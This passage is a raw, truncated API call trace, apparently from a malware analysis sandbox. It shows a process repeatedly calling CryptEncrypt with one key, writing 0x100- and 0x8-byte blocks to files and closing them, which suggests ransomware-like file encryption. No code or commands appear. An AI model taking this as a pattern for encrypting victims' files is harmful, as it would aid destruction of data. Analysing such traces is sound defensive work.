pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.788] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afa2f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afa2f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.789] WriteFile (in: hFile=0x30d4, lpBuffer=0x3afa2f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afa2f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.789] WriteFile (in: hFile=0x30d4, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.789] CloseHandle (hObject=0x30d4) returned 1 [0235.797] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.797] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afa0e0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afa0e0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.798] WriteFile (in: hFile=0x30d4, lpBuffer=0x3afa0e0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afa0e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.798] WriteFile (in: hFile=0x30d4, lpBuffer=0x3998530*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.798] CloseHandle (hObject=0x30d4) returned 1 [0235.804] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.804] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afab30*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afab30*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.805] WriteFile (in: hFile=0x30d4, lpBuffer=0x3afab30*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afab30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.805] WriteFile (in: hFile=0x30d4, lpBuffer=0x39984f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39984f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.805] CloseHandle (hObject=0x30d4) returned 1 [0235.819] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.819] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afac38*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afac38*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.819] WriteFile (in: hFile=0x30d4, lpBuffer=0x3afac38*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afac38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.819] WriteFile (in: hFile=0x30d4, lpBuffer=0x39984f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39984f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.820] CloseHandle (hObject=0x30d4) returned 1 [0235.823] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.823] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afb580*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afb580*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.823] WriteFile (in: hFile=0x30d4, lpBuffer=0x3afb580*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afb580*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.824] WriteFile (in: hFile=0x30d4, lpBuffer=0x3998550*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998550*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.825] CloseHandle (hObject=0x30d4) returned 1 [0235.828] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.828] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afab30*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afab30*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.828] WriteFile (in: hFile=0x30d4, lpBuffer=0x3afab30*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afab30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.828] WriteFile (in: hFile=0x30d4, lpBuffer=0x3998530*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.829] CloseHandle (hObject=0x30d4) returned 1 [0235.831] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.831] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afb898*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afb898*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.831] WriteFile (in: hFile=0x30d4, lpBuffer=0x3afb898*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afb898*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.832] WriteFile (in: hFile=0x30d4, lpBuffer=0x39984f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39984f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.832] CloseHandle (hObject=0x30d4) returned 1 [0235.839] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.839] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afab30*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afab30*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.839] WriteFile (in: hFile=0x30d4, lpBuffer=0x3afab30*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afab30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.839] WriteFile (in: hFile=0x30d4, lpBuffer=0x3998530*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.840] CloseHandle (hObject=0x30d4) returned 1 [0235.844] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.845] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afb268*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afb268*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.845] WriteFile (in: hFile=0x30d4, lpBuffer=0x3afb268*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afb268*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.845] WriteFile (in: hFile=0x30d4, lpBuffer=0x39984a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39984a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.845] CloseHandle (hObject=0x30d4) returned 1 [0235.849] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.849] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afb058*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afb058*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.849] WriteFile (in: hFile=0x30d4, lpBuffer=0x3afb058*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afb058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.849] WriteFile (in: hFile=0x30d4, lpBuffer=0x3998610*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998610*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.850] CloseHandle (hObject=0x30d4) returned 1 [0235.861] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.861] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afa2f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afa2f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.861] WriteFile (in: hFile=0x30d4, lpBuffer=0x3afa2f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afa2f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.861] WriteFile (in: hFile=0x30d4, lpBuffer=0x39984c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39984c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.862] CloseHandle (hObject=0x30d4) returned 1 [0236.002] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.002] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afb580*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afb580*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.003] WriteFile (in: hFile=0x30e0, lpBuffer=0x3afb580*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afb580*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.003] WriteFile (in: hFile=0x30e0, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.004] CloseHandle (hObject=0x30e0) returned 1 [0236.192] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.192] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afb370*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afb370*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.192] WriteFile (in: hFile=0x3104, lpBuffer=0x3afb370*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afb370*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.192] WriteFile (in: hFile=0x3104, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.193] CloseHandle (hObject=0x3104) returned 1 [0236.218] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.219] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9cc0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9cc0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.219] WriteFile (in: hFile=0x3104, lpBuffer=0x3af9cc0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9cc0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.219] WriteFile (in: hFile=0x3104, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.219] CloseHandle (hObject=0x3104) returned 1 [0236.258] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.258] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afab30*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afab30*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.258] WriteFile (in: hFile=0x3104, lpBuffer=0x3afab30*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afab30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.258] WriteFile (in: hFile=0x3104, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.259] CloseHandle (hObject=0x3104) returned 1 [0236.371] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.371] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afa0e0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afa0e0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.371] WriteFile (in: hFile=0x3104, lpBuffer=0x3afa0e0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afa0e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.372] WriteFile (in: hFile=0x3104, lpBuffer=0x39984a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39984a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.372] CloseHandle (hObject=0x3104) returned 1 [0236.409] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.409] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afb790*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afb790*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.409] WriteFile (in: hFile=0x3104, lpBuffer=0x3afb790*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afb790*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.410] WriteFile (in: hFile=0x3104, lpBuffer=0x3998480*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998480*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.410] CloseHandle (hObject=0x3104) returned 1 [0236.459] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.459] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afb580*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afb580*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.459] WriteFile (in: hFile=0x3104, lpBuffer=0x3afb580*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afb580*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.459] WriteFile (in: hFile=0x3104, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.460] CloseHandle (hObject=0x3104) returned 1 [0236.474] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.474] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afa0e0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afa0e0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.474] WriteFile (in: hFile=0x3104, lpBuffer=0x3afa0e0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afa0e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.475] WriteFile (in: hFile=0x3104, lpBuffer=0x39984f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39984f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.475] CloseHandle (hObject=0x3104) returned 1 [0236.528] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.528] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afb898*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afb898*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.528] WriteFile (in: hFile=0x3104, lpBuffer=0x3afb898*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afb898*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.528] WriteFile (in: hFile=0x3104, lpBuffer=0x3998480*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998480*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.529] CloseHandle (hObject=0x3104) returned 1 [0236.532] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.532] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afb370*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afb370*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.532] WriteFile (in: hFile=0x3104, lpBuffer=0x3afb370*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afb370*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.533] WriteFile (in: hFile=0x3104, lpBuffer=0x39984a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39984a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.533] CloseHandle (hObject=0x3104) returned 1 [0236.565] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.565] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afa3f8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afa3f8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.565] WriteFile (in: hFile=0x3104, lpBuffer=0x3afa3f8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afa3f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.565] WriteFile (in: hFile=0x3104, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.566] CloseHandle (hObject=0x3104) returned 1 [0236.579] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.579] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afa920*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afa920*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.579] WriteFile (in: hFile=0x3104, lpBuffer=0x3afa920*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afa920*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.580] WriteFile (in: hFile=0x3104, lpBuffer=0x3998480*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998480*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.580] CloseHandle (hObject=0x3104) returned 1 [0236.612] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.612] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afbaa8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afbaa8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.612] WriteFile (in: hFile=0x3104, lpBuffer=0x3afbaa8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afbaa8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.612] WriteFile (in: hFile=0x3104, lpBuffer=0x3998530*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.613] CloseHandle (hObject=0x3104) returned 1 [0236.656] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.656] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afb058*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afb058*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.657] WriteFile (in: hFile=0x3104, lpBuffer=0x3afb058*, 